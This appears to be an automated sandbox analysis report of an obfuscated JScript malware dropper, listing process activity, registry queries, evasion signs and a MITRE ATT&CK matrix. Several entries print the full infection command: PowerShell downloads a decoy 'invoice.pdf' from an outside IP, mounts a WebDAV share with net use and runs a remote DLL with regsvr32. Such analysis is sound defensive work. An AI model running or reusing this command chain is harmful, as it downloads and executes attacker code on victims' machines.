Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1411.js.csv");ITextStream.WriteLine(" entry:8138 f:xzbrrey");ITextStream.WriteLine(" exec:2 f:xzbrrey");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49752

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4719			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5127			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep count: 4719 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep count: 5127 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1636	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3292	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8164	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1377557217.000002AA612B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1377557217.000002AA6131E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2597506170.000001B3E4059000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2596136836.000001B3DE82B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
